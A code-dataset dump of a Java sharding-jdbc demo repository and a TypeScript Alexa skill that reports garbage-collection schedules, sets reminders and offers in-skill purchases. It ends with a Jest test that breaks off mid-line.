<repo_name>CodeLink/sharding-jdbc-demo-lktbz<file_sep>/sharding-jdbc-yml/src/main/java/lktbz/dao/UserDao.java package lktbz.dao; import lktbz.entity.User; /** */ public interface UserDao { void addOne(User user); User getOneById(long id); } <file_sep>/src/test/java/com/lktbz/UserShardingTest.java package com.lktbz; import com.lktbz.entity.UserInfo; import com.lktbz.service.UserService; import org.junit.Test; import org.junit.runner.RunWith; import org.mybatis.spring.annotation.MapperScan; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit4.SpringRunner; import javax.annotation.Resource; import java.util.List; /** * 演示取模的分库分表策略 */ @RunWith(SpringRunner.class) @SpringBootTest @MapperScan(basePackages = "com.lktbz.mapper") public class UserShardingTest { @Resource UserService userService; @Test public void insert(){ userService.insert(); } @Test public void select(){ UserInfo userInfo1= userService.getUserInfoByUserId(1L); System.out.println("------userInfo1:"+userInfo1); UserInfo userInfo2= userService.getUserInfoByUserId(2L); System.out.println("------userInfo2:"+userInfo2); } @Test public void testRange(){ List<UserInfo> userInfos = userService.selectByRange(2l, 200l); userInfos.forEach((p)->System.out.println(p)); } } <file_sep>/sharding-jdbc-yml/src/main/java/lktbz/entity/Order.java package lktbz.entity; import lombok.Data; import lombok.ToString; import java.util.Date; /** */ @Data @ToString public class Order { private long orderId; private long userId; private Date createTime; private long totalPrice; } <file_sep>/sharding-jdbc-yml/src/main/java/lktbz/dao/OtherTableDao.java package lktbz.dao; import lktbz.entity.OtherTable; import java.util.List; /** */ public interface OtherTableDao { long addOne(OtherTable table); List<OtherTable> getAll(); } <file_sep>/sharding-jdbc-yml/src/main/java/lktbz/service/DictionaryService.java package lktbz.service; import lktbz.dao.DictionaryDao; import lktbz.entity.Dictionary; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; @Service public class DictionaryService { @Autowired private DictionaryDao dictionaryDao; public long addOne(Dictionary dictionary) { this.dictionaryDao.addOne(dictionary); return dictionary.getDictionaryId(); } }
b1f14d11974959a55bd62cc0d0cdeb3cfb4d4c32
[ "Java" ]
5
Java
CodeLink/sharding-jdbc-demo-lktbz
fe561b9a3ee75f0a2533081b985efcf31ad2b11b
08d03dae3113cf01c8c78ff7b78c09e780067908
refs/heads/main
<file_sep>'use strict'; import {TrashData, TrashTypeValue, client} from "trash-common" import {Directive} from "ask-sdk-model" const _ = require('lodash'); const dateformat = require('dateformat'); const create_response_trash_text = (data: TrashTypeValue[]): string=> { const response_text: string[] = []; data.forEach((trash_data) => { response_text.push(trash_data.name); }); return response_text.join('/'); }; interface DiaplayDateItem { data: TrashTypeValue[], date: Date } export class DisplayCreator { private locale: string; private displayText: any; private commonText: any; constructor(locale: string) { this.locale = locale; this.displayText = require(`./resource/template_text/${locale}.display.json`); this.commonText = require(`./resource/template_text/${this.locale}.common.json`); } getThrowTrashesDirective(target_day: number, schedules: DiaplayDateItem[]): Directive { const document = require('./resource/display/apl_template_export.json'); const datasources = _.cloneDeep(require('./resource/display/datasources.json')); schedules.forEach(schedule=>{ const item = _.cloneDeep(require('./resource/display/item_format.json')); item.listItemIdentifier = new String(schedule.date); item.token = new String(target_day); item.textContent.primaryText.text = dateformat(schedule.date, 'yyyy/mm/dd') + `(${this.commonText.weekday[schedule.date.getDay()]})`; item.textContent.secondaryText.text = schedule.data.length > 0 ? create_response_trash_text(schedule.data) : this.displayText.nothing; if (schedule.data.length > 0) { schedule.data.forEach((trashdata) => { const filename = `https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/${this.locale}/${trashdata.type}.png`; item.image.sources.push( { url: filename, size: 'small', widthPixels: 0, heightPixels: 0 } ); }); } datasources.dataSources.listTemplate2ListData.listPage.listItems.push(item); }) datasources.dataSources.listTemplate2Metadata.title = this.displayText.scheduletitle; return { type: 'Alexa.Presentation.APL.RenderDocument', document: document.document, datasources: datasources.dataSources } } getShowScheduleDirective(regist_data: client.TrashDataText[]): Directive { const document = require('./resource/display/apl_template_export.json'); const datasources = _.cloneDeep(require('./resource/display/datasources.json')); datasources.dataSources.listTemplate2Metadata.title = this.displayText.title; datasources.dataSources.listTemplate2ListData.totalNumberOfItems = regist_data.length; regist_data.forEach((trash) => { const item = _.cloneDeep(require('./resource/display/item_format.json')); item.listItemIdentifier = trash.type; item.token = trash.type; item.textContent.primaryText.text = trash.typeText; item.textContent.secondaryText.text = trash.schedules.join('<br>'); item.image.sources.push( { url: `https://s3-ap-northeast-1.amazonaws.com/myskill-image/throwtrash/${this.locale}/${trash.type}.png`, size: 'small', widthPixels: 0, heightPixels: 0 } ); datasources.dataSources.listTemplate2ListData.listPage.listItems.push(item); }); return { type: 'Alexa.Presentation.APL.RenderDocument', document: document.document, datasources: datasources.dataSources } } }<file_sep>import {client, TrashData} from "trash-common"; import {DisplayCreator} from "./display-creator"; import { Skill, SkillBuilders, DefaultApiClient, HandlerInput, ResponseBuilder } from 'ask-sdk-core'; import {services,RequestEnvelope,IntentRequest, interfaces } from 'ask-sdk-model'; import { Context } from 'aws-lambda'; import { DynamoDBAdapter } from "./dynamodb-adapter"; import { GetTrashDataResult, TrashScheduleService, RecentTrashDate, CompareResult } from "trash-common/dist/client"; import { getLogger } from "trash-common"; const {S3PersistenceAdapter} = require('ask-sdk-s3-persistence-adapter'); let textCreator: client.TextCreator,tsService: TrashScheduleService, displayCreator: DisplayCreator const logger = getLogger(); process.env.RUNLEVEL === "INFO" ? logger.setLevel_INFO() : logger.setLevel_DEBUG(); import { S3RequestLogger } from "./s3-request-logger-impl"; import { RequestLogger } from "./request-logger"; const PointDayValue = [ {value:0}, {value:1}, {value:2}, {value:3,weekday:0}, {value:4,weekday:1}, {value:5,weekday:2}, {value:6,weekday:3}, {value:7,weekday:4}, {value:8,weekday:5}, {value:9,weekday:6} ]; const persistenceAdapter = new S3PersistenceAdapter({bucketName: `throwtrash-skill-preference-${process.env.APP_REGION}`}); interface ClientInfo { locale: string, timezone: string } const CINFO: ClientInfo = {locale: '', timezone: ''}; const init = async (handlerInput: HandlerInput,option: any)=>{ const { requestEnvelope, serviceClientFactory } = handlerInput; const locale: string = requestEnvelope.request.locale || "utc"; CINFO.locale = locale; textCreator = new client.TextCreator(locale); if(option.display) { displayCreator = new DisplayCreator(locale); } if(option.client) { const deviceId: string = requestEnvelope.context.System.device ? requestEnvelope.context.System.device.deviceId : ""; let upsServiceClient: services.ups.UpsServiceClient|null = null; try { upsServiceClient = serviceClientFactory ? serviceClientFactory.getUpsServiceClient() : null; } catch(err: any) { logger.error(err) } // タイムゾーン取得後にclientインスタンスを生成 return (deviceId && upsServiceClient ? upsServiceClient.getSystemTimeZone(deviceId) : new Promise(resolve => { resolve('Asia/Tokyo') }) ).then((timezone: any)=>{ CINFO.timezone = timezone; logger.debug('timezone:'+timezone); tsService = new client.TrashScheduleService(timezone, textCreator, new DynamoDBAdapter()); }); } }; const getEntitledProducts = async(handlerInput: HandlerInput):Promise<services.monetization.InSkillProduct[]>=>{ const ms: services.monetization.MonetizationServiceClient|undefined = handlerInput.serviceClientFactory ? handlerInput.serviceClientFactory.getMonetizationServiceClient() : undefined; const locale: string|undefined = handlerInput.requestEnvelope.request.locale; if(ms && locale) { const products = await ms.getInSkillProducts(locale); return products.inSkillProducts.filter(record=> record.entitled === 'ENTITLED'); } return [] }; const updateUserHistory = async(handlerInput: HandlerInput): Promise<number>=> { // 初回呼び出しおよびエラーが発生した場合には0除算を避けるため1を返す try { const attributes = await handlerInput.attributesManager.getPersistentAttributes(); attributes.get_schedule_count = attributes.get_schedule_count ? attributes.get_schedule_count + 1 : 1; handlerInput.attributesManager.setPersistentAttributes(attributes); await handlerInput.attributesManager.savePersistentAttributes(); return attributes.get_schedule_count; }catch(err: any){ logger.error(err); return 1; } }; const setUpSellMessage = async(handlerInput: HandlerInput, responseBuilder: ResponseBuilder): Promise<boolean> => { const user_count = await updateUserHistory(handlerInput); logger.debug(`UserCount: ${user_count}`); if (handlerInput.requestEnvelope.request.locale === 'ja-JP' && user_count % 5 === 0) { try { const entitledProducts = await getEntitledProducts(handlerInput); if (!entitledProducts || entitledProducts.length === 0) { logger.info("Upsell"); responseBuilder.addDirective({ type: "Connections.SendRequest", name: "Upsell", payload: { InSkillProduct: { productId: process.env.REMINDER_PRODUCT_ID }, upsellMessage: '<break stength="strong"/>' + textCreator.getMessage("PURCHASE_UPSELL") }, token: "correlationToken", }); return true; } } catch(err: any) { logger.error(err); } } return false; } /** * * RequestEnvelopeからディスプレイを持つデバイスであるかどうかを判定する * * @param requestEnvelope Alexaデバイスから受け取ったRequestEnvelope * @returns ディスプレイを持つデバイスの場合:true, それ以外:false */ const isSupportedAPL = function(requestEnvelope: RequestEnvelope): Boolean { const device = requestEnvelope.context.System.device; return device != undefined && device.supportedInterfaces != undefined && device.supportedInterfaces!["Alexa.Presentation.APL"] != undefined; } let skill: Skill; export const handler = async function(event:RequestEnvelope ,context: Context) { const requestLogger: RequestLogger = new S3RequestLogger(process.env.APP_REGION || "ap-northeast-1"); requestLogger.logRequest(event,context.awsRequestId); if(!skill) { skill = SkillBuilders.custom() .addRequestHandlers( LaunchRequestHandler, GetPointDayTrashesHandler, GetRegisteredContent, GetDayFromTrashTypeIntent, CheckReminderHandler, SetReminderHandler, PurchaseHandler, CancelPurchaseHandler, PurchaseResultHandler, HelpIntentHandler, CancelAndStopIntentHandler, SessionEndedRequestHandler, NextPreviousIntentHandler ) .withSkillId(process.env.APP_ID || "") .withPersistenceAdapter(persistenceAdapter) .withApiClient(new DefaultApiClient()) .create(); } return skill.invoke(event,context).catch(error=>{ console.error(error); requestLogger.logErrorRequest(event,context.awsRequestId); }); }; const LaunchRequestHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'LaunchRequest'; }, async handle(handlerInput: HandlerInput){ logger.debug(JSON.stringify(handlerInput)); const {requestEnvelope, responseBuilder} = handlerInput; const init_ready = init(handlerInput, {client: true, display: true}); const accessToken: string|undefined = requestEnvelope.session ? requestEnvelope.session.user.accessToken : undefined; if(!accessToken) { // トークン未定義の場合はユーザーに許可を促す return responseBuilder .speak(textCreator.getMessage("HELP_ACCOUNT")) .withLinkAccountCard() .getResponse(); } await init_ready const data: GetTrashDataResult | undefined = await tsService.getTrashData(accessToken) if (data.status === 'error') { return responseBuilder .speak(textCreator.getMessage(data.msgId!)) .withShouldEndSession(true) .getResponse(); } const promise_list = [ tsService.checkEnableTrashes(data?.response!, 0), tsService.checkEnableTrashes(data?.response!, 1), tsService.checkEnableTrashes(data?.response!, 2) ]; const threedaysTrashSchedule = await Promise.all(promise_list); const first = threedaysTrashSchedule[0]; const second = threedaysTrashSchedule[1]; const third = threedaysTrashSchedule[2]; if (isSupportedAPL(requestEnvelope)) { const schedule_directive = displayCreator.getThrowTrashesDirective(0, [ { data: first, date: tsService.calculateLocalTime(0) }, { data: second, date: tsService.calculateLocalTime(1) }, { data: third, date: tsService.calculateLocalTime(2) }, ]) responseBuilder.addDirective(schedule_directive).withShouldEndSession(true); } const request: any = handlerInput.requestEnvelope.request const metadata: any = request.metadata; // 午後であれば明日のゴミ出し予定を答える const offset = data.checkedNextday && tsService.calculateLocalTime(0).getHours() >= 12 ? 1 : 0; const base_message: string = textCreator.getPointdayResponse(String(offset), threedaysTrashSchedule[offset]); logger.debug("From Regular Action"); responseBuilder.speak(base_message); responseBuilder.withShouldEndSession(true); return responseBuilder.getResponse(); } }; const GetPointDayTrashesHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'GetPointDayTrashes'; }, async handle(handlerInput: HandlerInput){ const {responseBuilder, requestEnvelope} = handlerInput; const init_ready = init(handlerInput, { client: true, display: true }); const accessToken = requestEnvelope.session?.user.accessToken; if(accessToken == null) { // トークン未定義の場合はユーザーに許可を促す return responseBuilder .speak(textCreator.getMessage("HELP_ACCOUNT")) .withLinkAccountCard() .getResponse(); } const intentRequest: IntentRequest = requestEnvelope.request as IntentRequest const resolutions = intentRequest.intent.slots?.DaySlot.resolutions; if(resolutions && resolutions.resolutionsPerAuthority && resolutions.resolutionsPerAuthority[0].status.code === 'ER_SUCCESS_MATCH') { let slotValue = Number(resolutions.resolutionsPerAuthority![0].values[0].value.id); await init_ready const trash_result = await tsService.getTrashData(accessToken) if (!trash_result || trash_result?.status === 'error') { return responseBuilder .speak(textCreator.getMessage(trash_result.msgId!)) .withShouldEndSession(true) .getResponse(); } let target_day = 0; if (slotValue >= 0 && slotValue <= 2) { target_day = PointDayValue[slotValue].value; } else { target_day = tsService.getTargetDayByWeekday(PointDayValue[slotValue].weekday!) || 0; } const promise_list = [ tsService.checkEnableTrashes(trash_result.response!, target_day), tsService.checkEnableTrashes(trash_result.response!, target_day + 1), tsService.checkEnableTrashes(trash_result.response!, target_day + 2) ]; const all = await Promise.all(promise_list); const first = all[0]; const second = all[1]; const third = all[2]; responseBuilder.speak(textCreator.getPointdayResponse(String(slotValue), first!)); if (isSupportedAPL(requestEnvelope)) { const schedule_directive = displayCreator.getThrowTrashesDirective(target_day, [ { data: first, date: tsService.calculateLocalTime(target_day) }, { data: second, date: tsService.calculateLocalTime(target_day + 1) }, { data: third, date: tsService.calculateLocalTime(target_day + 2) }, ]); responseBuilder.addDirective(schedule_directive).withShouldEndSession(true); } await setUpSellMessage(handlerInput, responseBuilder); return responseBuilder.getResponse(); } else { const speechOut = textCreator.getMessage("ASK_A_DAY"); return responseBuilder .speak(speechOut) .reprompt(speechOut) .getResponse(); } } }; const GetRegisteredContent = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'GetRegisteredContent'; }, async handle(handlerInput: HandlerInput) { const {requestEnvelope, responseBuilder} = handlerInput; const init_ready = init(handlerInput, {client: true, display: true}); const accessToken = requestEnvelope.session?.user.accessToken; if(accessToken == null) { // トークン未定義の場合はユーザーに許可を促す return responseBuilder .speak(textCreator.getMessage("HELP_ACCOUNT")) .withLinkAccountCard() .getResponse(); } try { await init_ready const trash_result = await tsService.getTrashData(accessToken) if (!trash_result || trash_result?.status === 'error') { return responseBuilder .speak(textCreator.getMessage(trash_result.msgId!)) .withShouldEndSession(true) .getResponse(); } const schedule_data = textCreator.getAllSchedule(trash_result.response!); if (isSupportedAPL(requestEnvelope)) { responseBuilder.addDirective( displayCreator.getShowScheduleDirective(schedule_data) ).withShouldEndSession(true); } const card_text = textCreator.getRegisterdContentForCard(schedule_data); return responseBuilder.speak(textCreator.getMessage("NOTICE_SEND_SCHEDULE")).withSimpleCard(textCreator.registerd_card_title, card_text).getResponse(); }catch(err: any){ logger.error(err) return responseBuilder.speak(textCreator.getMessage("ERROR_GENERAL")).withShouldEndSession(true).getResponse(); } } }; const GetDayFromTrashTypeIntent = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'GetDayFromTrashType'; }, async handle(handlerInput: HandlerInput) { const {requestEnvelope, responseBuilder} = handlerInput; const init_ready = init(handlerInput, { client: true, display: false }); const accessToken = requestEnvelope.session?.user.accessToken; if(accessToken == null) { // トークン未定義の場合はユーザーに許可を促す return responseBuilder .speak(textCreator.getMessage("HELP_ACCOUNT")) .withLinkAccountCard() .getResponse(); } const resolutions = (requestEnvelope.request as IntentRequest).intent.slots?.TrashTypeSlot.resolutions; await init_ready; const trash_result = await tsService.getTrashData(accessToken); if (!trash_result || trash_result?.status === 'error') { return responseBuilder .speak(textCreator.getMessage(trash_result.msgId!)) .withShouldEndSession(true) .getResponse(); } if(resolutions && resolutions.resolutionsPerAuthority![0].status.code === 'ER_SUCCESS_MATCH') { const slotValue = resolutions.resolutionsPerAuthority![0].values[0].value; const trash_data = tsService.getDayByTrashType(trash_result.response!, slotValue.id); if(trash_data && trash_data.length > 0) { logger.debug('Find Match Trash:'+JSON.stringify(trash_data)); responseBuilder .speak(textCreator.getDayByTrashTypeMessage({type: slotValue.id,name: slotValue.name}, trash_data)) await setUpSellMessage(handlerInput, responseBuilder); return responseBuilder.getResponse(); } } // ユーザーの発話がスロット以外 または 合致するデータが登録情報に無かった場合はAPIでのテキスト比較を実施する logger.debug('Not match resolutions:'+JSON.stringify(requestEnvelope)); // ユーザーが発話したゴミ const speeched_trash: string = (requestEnvelope.request as IntentRequest).intent .slots?.TrashTypeSlot.value as string; logger.debug('check freetext trash:' + speeched_trash); // 登録タイプotherのみを比較対象とする const other_trashes = trash_result.response?.filter((value)=>{ return value.type === 'other' }); let trash_data: RecentTrashDate[] = []; // otherタイプの登録があれば比較する let speech_prefix = ""; if(other_trashes && other_trashes.length > 0) { const compare_list: Array<Promise<CompareResult>> = [] other_trashes.forEach((trash: TrashData)=>{ compare_list.push( tsService.compareTwoText(speeched_trash,trash.trash_val!) ); }); try { const compare_result: Array<CompareResult> = await Promise.all(compare_list); logger.info('compare result:'+JSON.stringify(compare_result)); const max_data = {trash: "",score: 0, index: 0}; compare_result.forEach((result,index)=>{ if(result.score >= max_data.score) { max_data.trash = result.match max_data.score = result.score max_data.index = index } }); if(max_data.score >= 0.5) { if(max_data.score < 0.7 && max_data.score >= 0.5) { speech_prefix = `${max_data.trash} ですか?`; } trash_data = tsService.getDayByTrashType([other_trashes[max_data.index]],'other'); } } catch(error: any) { logger.error(error); return responseBuilder.speak(textCreator.getMessage("ERROR_UNKNOWN")).withShouldEndSession(true).getResponse(); } } responseBuilder.speak(speech_prefix + textCreator.getDayByTrashTypeMessage({type: 'other', name: speeched_trash}, trash_data)); await setUpSellMessage(handlerInput, responseBuilder); return responseBuilder.getResponse(); } }; const CheckReminderHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'SetReminder' && (!handlerInput.requestEnvelope.request.intent.confirmationStatus || handlerInput.requestEnvelope.request.intent.confirmationStatus === 'NONE'); }, async handle(handlerInput: HandlerInput) { logger.debug(`CheckReminderHandler -> ${JSON.stringify(handlerInput,null,2)}`) const {responseBuilder, requestEnvelope} = handlerInput; const consentToken = requestEnvelope.context.System.user.permissions && requestEnvelope.context.System.user.permissions.consentToken; if (!consentToken) { // リマインダーのパーミッションが許可されていない場合は許可を促す return responseBuilder .speak(textCreator.getMessage("REMINDER_PERMISSION")) .withAskForPermissionsConsentCard(['alexa::alerts:reminders:skill:readwrite']) .getResponse(); } const accessToken = requestEnvelope.session?.user.accessToken; if (!accessToken) { // トークン未定義の場合はユーザーにアカウントリンクを促す return responseBuilder .speak(textCreator.getMessage("HELP_ACCOUNT")) .withLinkAccountCard() .getResponse(); } init(handlerInput, {client: false, display: false}); return getEntitledProducts(handlerInput).then((entitledProducts)=>{ if(entitledProducts && entitledProducts.length > 0) { const weekTypeSlot = (requestEnvelope.request as IntentRequest).intent.slots?.WeekTypeSlot.resolutions; if(weekTypeSlot && weekTypeSlot.resolutionsPerAuthority && weekTypeSlot.resolutionsPerAuthority[0].status.code === "ER_SUCCESS_NO_MATCH") { logger.debug("WeekTypeSlot is not match") return responseBuilder .addElicitSlotDirective("WeekTypeSlot") .speak(textCreator.getMessage("REMINDER_WEEK")) .reprompt(textCreator.getMessage("REMINDER_WEEK")) .getResponse(); } const timerSlot = (requestEnvelope.request as IntentRequest).intent.slots?.TimerSlot; const dialogState = (requestEnvelope.request as IntentRequest).dialogState; if (dialogState != 'COMPLETED') { return responseBuilder .addDelegateDirective() .getResponse(); } else { return responseBuilder .speak(textCreator.getReminderConfirm(weekTypeSlot!!.resolutionsPerAuthority!![0].values[0].value.name, timerSlot!!.value!!)) .addConfirmIntentDirective() .getResponse(); } } else { // オプションが購入されていない場合は購入フローへ移る return responseBuilder.addDirective({ type: "Connections.SendRequest", name: "Buy", payload: { InSkillProduct: { productId: process.env.REMINDER_PRODUCT_ID } }, token: "correlationToken" }).getResponse(); } }); } } const SetReminderHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'SetReminder' && handlerInput.requestEnvelope.request.intent.confirmationStatus && handlerInput.requestEnvelope.request.intent.confirmationStatus != 'NONE'; }, async handle(handlerInput: HandlerInput) { const {responseBuilder, requestEnvelope, serviceClientFactory} = handlerInput; const init_ready = init(handlerInput, { client: true }); const accessToken = requestEnvelope.session?.user.accessToken; if (!accessToken) { // トークン未定義の場合はユーザーにアカウントリンクを促す return responseBuilder .speak(textCreator.getMessage("HELP_ACCOUNT")) .withLinkAccountCard() .getResponse(); } const intent_request: IntentRequest = requestEnvelope.request as IntentRequest if(intent_request.intent.confirmationStatus === 'CONFIRMED') { await init_ready const trash_data_result = await tsService.getTrashData(accessToken); if (trash_data_result && trash_data_result.status === 'error') { return responseBuilder .speak(textCreator.getMessage(trash_data_result.msgId!)) .withShouldEndSession(true) .getResponse(); } const weekTypeSlot = intent_request.intent.slots!!.WeekTypeSlot.resolutions!!.resolutionsPerAuthority!![0].values[0].value; const time = intent_request.intent.slots?.TimerSlot.value!!; const remind_data = await tsService.getRemindBody(Number(weekTypeSlot.id), trash_data_result.response || []); const locale: string = requestEnvelope.request.locale || "utc"; const remind_requests = createRemindRequest(remind_data, time, locale); logger.debug(`Reminder Body:${JSON.stringify(remind_requests)}`); const ReminderManagementServiceClient = serviceClientFactory?.getReminderManagementServiceClient(); const remind_list: Array<Promise<services.reminderManagement.ReminderResponse> | undefined> = [] remind_requests.forEach((request_body) => { remind_list.push( ReminderManagementServiceClient?.createReminder(request_body) ); }); return Promise.all(remind_list).then(() => { return responseBuilder .speak(textCreator.getReminderComplete(weekTypeSlot.name, time)) .withShouldEndSession(true) .getResponse(); }).catch((err) => { logger.error(err); // ReminderManagementServiceClientでは権限が許可されていない場合401エラーが返る if (err.statusCode === 401 || err.statuScode === 403) { return responseBuilder .speak(textCreator.getMessage("REMINDER_PERMISSION")) .withAskForPermissionsConsentCard(['alexa::alerts:reminders:skill:readwrite']) .getResponse(); } return responseBuilder .speak(textCreator.getMessage("ERROR_UNKNOWN")) .withShouldEndSession(true) .getResponse(); }); } else if(intent_request.intent.confirmationStatus === 'DENIED') { return responseBuilder .speak(textCreator.getMessage("REMINDER_CANCEL")) .withShouldEndSession(true) .getResponse(); } return responseBuilder.speak(textCreator.getMessage("ERROR_GENERAL")).withShouldEndSession(true).getResponse() } } const PurchaseHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type ==='IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'Purchase'; }, async handle(handlerInput: HandlerInput) { const {responseBuilder, requestEnvelope, serviceClientFactory} = handlerInput; const ms = serviceClientFactory?.getMonetizationServiceClient(); init(handlerInput, {}); const locale = requestEnvelope.request.locale || "ja"; const inSkillProductResponse = await ms?.getInSkillProducts(locale) try { const entitledProducts = inSkillProductResponse?.inSkillProducts.filter(record => record.entitled === 'ENTITLED'); if (entitledProducts && entitledProducts.length > 0) { return responseBuilder.speak(textCreator.getMessage("PURCHASE_ALREADY_PURCHASED")).reprompt(textCreator.getMessage("NOTICE_CONTINUE")).getResponse(); } else { // オプションが購入されていない場合は購入フローへ移る return responseBuilder.addDirective({ type: "Connections.SendRequest", name: "Buy", payload: { InSkillProduct: { productId: process.env.REMINDER_PRODUCT_ID } }, token: "correlationToken" }).getResponse(); } } catch (err: any) { logger.error(err) return responseBuilder.speak(textCreator.getMessage("ERROR_GENERAL")).withShouldEndSession(true).getResponse() } } }; const CancelPurchaseHandler = { canHandle(handlerInput: HandlerInput){ return handlerInput.requestEnvelope.request.type ==='IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'CancelPurchase' }, handle(handlerInput: HandlerInput) { init(handlerInput, {}); return handlerInput.responseBuilder .addDirective({ type: 'Connections.SendRequest', name: 'Cancel', payload: { InSkillProduct: { productId: process.env.REMINDER_PRODUCT_ID } }, token: "correlationToken" }) .getResponse(); } } const PurchaseResultHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type ==='Connections.Response'; }, handle(handlerInput: HandlerInput) { init(handlerInput, {}); const {requestEnvelope, responseBuilder} = handlerInput; const purchaseRequest:interfaces.connections.ConnectionsRequest = requestEnvelope.request as interfaces.connections.ConnectionsRequest; const purchasePayload = purchaseRequest.payload; logger.debug("PurchaseResult:" + JSON.stringify(purchasePayload)); if(purchasePayload?.purchaseResult === 'ACCEPTED') { if(purchaseRequest.name === 'Buy' || purchaseRequest.name === 'Upsell') { return responseBuilder .speak(textCreator.getMessage("PURCHASE_THANKS")) .reprompt(textCreator.getMessage("NOTICE_CONTINUE")) .getResponse(); } else { return responseBuilder .speak(textCreator.getMessage("PURCHASE_CANCEL")) .withShouldEndSession(true) .getResponse(); } } else if(purchasePayload?.purchaseResult === 'DECLINED') { return responseBuilder .speak(textCreator.getMessage("PURCHASE_CANCEL")) .withShouldEndSession(true) .getResponse(); } else if(purchasePayload?.purchaseResult === 'ERROR') { return responseBuilder .speak(textCreator.getMessage("PURCHASE_CANCEL")) .withShouldEndSession(true) .getResponse(); } else if(purchasePayload?.purchasePayload === 'ALREADY_PURCHASED') { return responseBuilder .speak(textCreator.getMessage("PURCHASE_ALREADY_PURCHASED")) .reprompt(textCreator.getMessage("NOTICE_CONTINUE")) .getResponse(); } return responseBuilder.speak(textCreator.getMessage("ERROR_GENERAL")).getResponse(); } } const HelpIntentHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && handlerInput.requestEnvelope.request.intent.name === 'AMAZON.HelpIntent'; }, async handle(handlerInput: HandlerInput) { init(handlerInput, {}); const speechOutput = textCreator.getMessage("HELP_DESCRIBE"); return handlerInput.responseBuilder .speak(speechOutput) .reprompt(speechOutput) .getResponse(); } }; const CancelAndStopIntentHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && (handlerInput.requestEnvelope.request.intent.name === 'AMAZON.CancelIntent' || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.StopIntent'); }, async handle(handlerInput: HandlerInput) { init(handlerInput, {}); const speechOutput = textCreator.getMessage("HELP_BYE"); return handlerInput.responseBuilder.speak(speechOutput).withShouldEndSession(true).getResponse(); } }; const SessionEndedRequestHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'SessionEndedRequest'; }, async handle(handlerInput: HandlerInput) { return handlerInput.responseBuilder .withShouldEndSession(true) .getResponse(); } }; const NextPreviousIntentHandler = { canHandle(handlerInput: HandlerInput) { return handlerInput.requestEnvelope.request.type === 'IntentRequest' && (handlerInput.requestEnvelope.request.intent.name === 'AMAZON.NextIntent' || handlerInput.requestEnvelope.request.intent.name === 'AMAZON.PreviousIntent'); }, async handle(handlerInput: HandlerInput) { init(handlerInput, {}); const speechOut = textCreator.getMessage("HELP_NEXT_PREVIOUS") return handlerInput.responseBuilder .speak(speechOut) .reprompt(speechOut) .getResponse(); } }; const createRemindRequest = (remind_body: {target_day: number,body: any}[], timer: string, locale: string): services.reminderManagement.ReminderRequest[] =>{ const remind_requests: services.reminderManagement.ReminderRequest[] = []; remind_body.forEach((body) => { const message = textCreator.getLaunchResponse(body.body); const scheduled_time = tsService.calculateLocalTime(body.target_day); const month = scheduled_time.getMonth() + 1 < 9 ? `0${scheduled_time.getMonth() + 1}` : scheduled_time.getMonth() + 1; const date = scheduled_time.getDate() < 10 ? `0${scheduled_time.getDate()}` : scheduled_time.getDate(); remind_requests.push({ "requestTime": new Date().toISOString(), "trigger": { "type": "SCHEDULED_ABSOLUTE", "scheduledTime": `${scheduled_time.getFullYear()}-${month}-${date}T${timer}:00.000`, }, "alertInfo": { "spokenInfo": { "content": [{ "locale": locale, "text": message }] } }, "pushNotification": { "status": "ENABLED" } }); }); return remind_requests; }; <file_sep>import { RequestEnvelope } from 'ask-sdk-model' export interface RequestLogger { logRequest(request: RequestEnvelope,prefix: string):void logErrorRequest(request: RequestEnvelope, prefix: string): void }<file_sep>'use strict' const common = require("trash-common"); const logger = common.getLogger(); logger.LEVEL = logger.DEBUG; // デバッガログの出力設定 process.env.RUNLEVEL = 'DEBUG'; process.env.APP_REGION = "us-west-2" import {client} from "trash-common" import { GetTrashDataResult, CompareResult } from "trash-common/dist/client"; import {VirtualAlexa} from 'virtual-alexa'; const model = './src/__tests__/model.json'; import {handler} from '../index'; //テスト実行ディレクトリを起点とした相対パス const assert = require('assert'); describe('Launch',()=>{ let spyCalc: any; let spyGetTrashData: any; beforeEach(()=>{ spyCalc = jest.spyOn(Date,"now").mockReturnValue(1554253200000); // 2019-04-03(Wed) 01:00:00 UTC spyGetTrashData = jest.spyOn(client.TrashScheduleService.prototype, "getTrashData").mockImplementation((access_token: string)=> {return new Promise(resolve => { let checkedNextday = true; if (access_token === 'testdata_with_checked<PASSWORD>') { checkedNextday = false; } resolve({ status: 'sccess', response: [ { "type": "can", "schedules": [{ "type": "weekday", "value": "3" }, { "type": "month", "value": "26" }, { "type": "none", "value": "" }] }, { "type": "burn", "schedules": [{ "type": "weekday", "value": "4" }, { "type": "month", "value": "26" }, { "type": "none", "value": "" }] }], checkedNextday: checkedNextday }); })}); }); afterEach(()=>{ jest.restoreAllMocks(); }) const alexa = VirtualAlexa.Builder() .handler(handler) .interactionModelFile(model) .create(); alexa.dynamoDB().mock(); it('アクセストークン無しで起動', async ()=>{ const request = alexa.request().launch() .set('request.locale', 'ja-JP') .set("context.System.application.applicationId", process.env.APP_ID) const response = await request.send(); assert.equal(response.prompt(), 